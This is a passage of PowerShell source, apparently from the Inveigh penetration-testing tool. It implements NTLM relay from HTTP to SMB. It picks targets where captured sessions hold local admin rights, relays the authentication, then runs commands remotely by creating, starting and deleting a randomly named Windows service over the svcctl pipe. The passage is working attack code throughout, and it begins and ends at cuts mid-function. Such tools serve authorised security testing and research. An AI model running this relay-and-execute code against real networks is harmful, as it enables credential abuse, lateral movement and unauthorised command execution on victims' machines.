{Get-Random} + + # check if sessions match any local admin group members + if($initiator_sessions) + { + + foreach($session in $initiator_sessions) + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i]."Administrator Users" -contains $session -and $inveigh.enumerate[$i].IP) + { + $targets += @($inveigh.enumerate[$i].IP) + } + + } + + if($targets) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group match found for session $session on:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null + $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv + $client = $SMB_target_results[0] + $target = $SMB_target_results[1] + } + + } + + } + + # check if sessions belong to groups that match any local admin group members + if($initiator_sessions -and !$targets -and !$target) + { + + function Get-SessionGroup + { + param($session) + + $group_list = @() + $group_table_keys_temp = $inveigh.group_table.keys + + foreach($group in $group_table_keys_temp) + { + + if($inveigh.group_table.$group -contains $session) + { + $group_list += $group + } + + } + + for($i=0;$i -lt $group_list.Count;$i++) + { + + foreach($group in $group_table_keys_temp) + { + + if($inveigh.group_table.$group -contains $group_list[$i]) + { + $group_list += $group + } + + } + + } + + return $group_list + } + + $session_groups = @() + $targets = @() + + foreach($session in $initiator_sessions) + { + $session_groups += Get-SessionGroup $session + } + + if($session_groups) + { + + foreach($group in $session_groups) + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i]."Administrator Groups" -contains $group -and $inveigh.enumerate[$i].IP) + { + $targets += @($inveigh.enumerate[$i].IP) + } + + } + + if($targets) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group nested match found for $group from session $session on:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null + $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv + $client = $SMB_target_results[0] + $target = $SMB_target_results[1] + } + + } + + } + + } + + # check if source IP matches any netsessions + if(!$targets -and !$target -and $SourceIP) + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].NetSession -contains $SourceIP) + { + $targets += @($inveigh.enumerate[$i].IP) + } + + } + + if($targets) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] NetSession IP match found for $SourceIP on:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null + $SMB_target_results = Test-SMBTarget $targets $SessionLimitUnpriv + $client = $SMB_target_results[0] + $target = $SMB_target_results[1] + } + + } + + # get list of systems with custom shares + if(!$targets -and !$target) + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].Shares) + { + $targets += @($inveigh.enumerate[$i].IP) + } + + } + + if($targets) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Searching within the following list of systems hosting custom shares:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null + $SMB_target_results = Test-SMBTarget $targets $SessionLimitShare $SourceIP + $client = $SMB_target_results[0] + $target = $SMB_target_results[1] + } + + } + + # get random target + if(!$target -and $TargetMode -eq 'Random') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selecting a random target") > $null + + if($inveigh.target_list) + { + $SMB_target_results = Test-SMBTarget $inveigh.target_list $SessionLimitUnpriv + } + else + { + $targets = @() + $inveigh_enumerate.Count = $inveigh.enumerate.Count + + for($i=0; $i -lt $hostname_encoded.Count; $i++) + { + + if($inveigh_enumerate[$i].Hostname) + { + $targets += $inveigh_enumerate[$i].Hostname + } + elseif($inveigh_enumerate[$i].IP) + { + $targets += $inveigh_enumerate[$i].IP + } + + } + + $SMB_target_results = Test-SMBTarget $targets $SessionLimitUnpriv + } + + $client = $SMB_target_results[0] + $target = $SMB_target_results[1] + } + + if($target -and !$inveigh.relay_history_table.$SourceIP) + { + $inveigh.relay_history_table.Add($SourceIP,[Array]$target) + } + elseif($target -and $inveigh.relay_history_table.$SourceIP -notcontains $target) + { + $inveigh.relay_history_table.$SourceIP += $target + } + + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + } + + return $client,$target + } + + function Invoke-SMBRelayChallenge + { + param ($client,$HTTP_request_bytes,$SMB_version,$SMB_process_ID) + + try + { + $client_stream = $client.GetStream() + $client_receive = New-Object System.Byte[] 1024 + $message_ID = 2 + $tree_ID = 0x00,0x00,0x00,0x00 + $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + } + + return $client_receive + } + + function Invoke-SMBRelayResponse + { + param ($client,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID) + + try + { + $client_receive = New-Object System.Byte[] 1024 + + if($client) + { + $SMB_relay_response_stream = $client.GetStream() + } + + $message_ID = 3 + $tree_ID = 0x00,0x00,0x00,0x00 + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_relay_response_stream.Write($client_send,0,$client_send.Length) > $null + $SMB_relay_response_stream.Flush() + $SMB_relay_response_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00')) + { + $SMB_relay_failed = $false + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication successful for $HTTP_username_full on $Target") > $null + } + else + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target) + { + $target_index = $i + break + } + + } + + $target_hostname = $inveigh.enumerate[$target_index].Hostname + $target_DNS_domain = $inveigh.enumerate[$target_index]."DNS Domain" + + if($FailedLoginStrict -eq 'Y' -or ($HTTP_NTLM_domain_string -and ((!$target_hostname -or !$target_DNS_domain) -or ($target_hostname -and $target_DNS_domain -and $target_hostname -ne $target_DNS_domain)))) + { + + if(!$inveigh.relay_failed_login_table.ContainsKey($HTTP_username_full)) + { + $inveigh.relay_failed_login_table.Add($HTTP_username_full,[Array]$target) + } + else + { + $inveigh.relay_failed_login_table.$HTTP_username_full += $target + } + + } + + $SMB_relay_failed = $true + $client.Close() + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication failed for $HTTP_username_full on $Target") > $null + } + + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + $SMB_relay_failed = $true + } + + return $SMB_relay_failed + } + + function Get-StatusPending + { + param ([Byte[]]$Status) + + if([System.BitConverter]::ToString($Status) -eq '03-01-00-00') + { + $status_pending = $true + } + + return $status_pending + } + + function Invoke-SMBRelayExecute + { + param ($client,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID,$AccessCheck) + + $client_receive = New-Object System.Byte[] 1024 + + if(!$Service) + { + $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00-00-00' + $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $SMB_service = $Service + $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($Service) + + if([Bool]($SMB_service.Length % 2)) + { + $SMB_service_bytes += 0x00,0x00 + } + else + { + $SMB_service_bytes += 0x00,0x00,0x00,0x00 + + } + + } + + $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) + $Command = "%COMSPEC% /C `"" + $Command + "`"" + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_} + + if([Bool]($Command.Length % 2)) + { + $SMBExec_command += '00-00' + } + else + { + $SMBExec_command += '00-00-00-00' + } + + $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2) + $SMB_path = "\\" + $Target + "\IPC$" + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + $client_stream = $client.GetStream() + $SMB_split_index = 4256 + $stage = 'TreeConnect' + $message_ID = $inveigh.session_message_ID_table[$inveigh.session_count] + + while ($stage -ne 'Exit') + { + + try + { + + switch ($stage) + { + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $SMB_service_manager_context_handle = $client_receive[108..127] + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full has command execution privilege on $target") > $null + + if($inveigh.domain_mapping_table.ContainsKey($HTTP_NTLM_domain_string)) + { + $privileged_user = ($HTTP_NTLM_user_string + "@" + $inveigh.domain_mapping_table.$HTTP_NTLM_domain_string).ToUpper() + } + else + { + $privileged_user = $HTTP_username_full + } + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target) + { + $target_index = $i + break + } + + } + + [Array]$privileged_user_list = $inveigh.enumerate[$target_index].Privileged + + if($privileged_user_list -notcontains $privileged_user) + { + $privileged_user_list += $privileged_user + $inveigh.enumerate[$target_index].Privileged = $privileged_user_list + } + + if($AccessCheck) + { + $SMB_administrator = $true + $SMB_close_service_handle_stage = 2 + $stage = 'CloseServiceHandle' + } + elseif($SCM_data.Length -lt $SMB_split_index) + { + $stage = 'CreateServiceW' + } + else + { + $stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($client_receive[128..131]) -eq '05-00-00-00') + { + + if($Attack -notcontains 'Session') + { + $SMB_relay_failed = $true + } + + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full does not have command execution privilege on $Target") > $null + $SMB_service_manager_context_handle = $client_receive[108..127] + $SMB_close_service_handle_stage = 2 + $message_ID++ + $stage = 'CloseServiceHandle' + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CloseRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service deleted on $Target") > $null + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' + } + + 'CreateRequest' + { + $tree_ID = $client_receive[40..43] + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'CreateServiceW' + { + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $message_ID++ + $stage_current = $stage + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $message_ID++ + $stage_current = $stage + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' + } + + 'CreateServiceW_Last' + { + $message_ID++ + $stage_current = $stage + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($client_receive[108..111]) -eq '1d-04-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Command executed on $Target") > $null + } + elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '02-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service failed to start on $Target") > $null + } + + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' + } + + 'Logoff' + { + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'OpenSCManagerW' + { + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' + } + + 'ReadRequest' + { + Start-Sleep -m 150 + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID + $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $client_receive[132..147] + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' + } + + 'SendReceive' + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(Get-StatusPending $client_receive[12..15]) + { + $stage = 'StatusPending' + } + else + { + $stage = 'StatusReceived' + } + + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($client_receive[132..135]) -eq '00-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service created on $Target") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute command on $Target") > $null + $SMB_service_context_handle = $client_receive[112..131] + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' + } + elseif([System.BitConverter]::ToString($client_receive[132..135]) -eq '31-04-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service creation failed on $Target") > $null + $SMB_relay_failed = $true + } + else + { + $SMB_relay_failed = $true + } + + } + + 'StatusPending' + { + $client_stream.Read($client_receive,0,$client_receive.Length) + + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') + { + $stage = $stage_next + } + + } + + 'StatusReceived' + { + + switch ($stage_current) + { + + 'CloseRequest' + { + $stage = 'TreeDisconnect' + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 2) + { + $stage = 'CloseServiceHandle' + } + else + { + $stage = 'CloseRequest' + } + + } + + 'CreateRequest' + { + $file_ID = $client_receive[132..147] + $stage = 'RPCBind' + } + + 'CreateServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + + if($SMB_split_stage_final -le 2) + { + $stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $stage = 'CreateServiceW_Last' + } + else + { + $stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $stage = 'ReadRequest' + $stage_next = 'StartServiceW' + } + + 'DeleteServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'CloseServiceHandle' + 